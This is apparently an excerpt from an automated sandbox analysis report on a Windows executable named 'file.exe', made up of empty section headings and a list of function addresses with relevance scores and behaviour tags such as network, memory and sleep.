JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 00CC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00CB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00CB4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00CC9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00CB6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00CC5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00CC17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00CC7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00CC69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00CB1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00CC6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00CB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00CC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON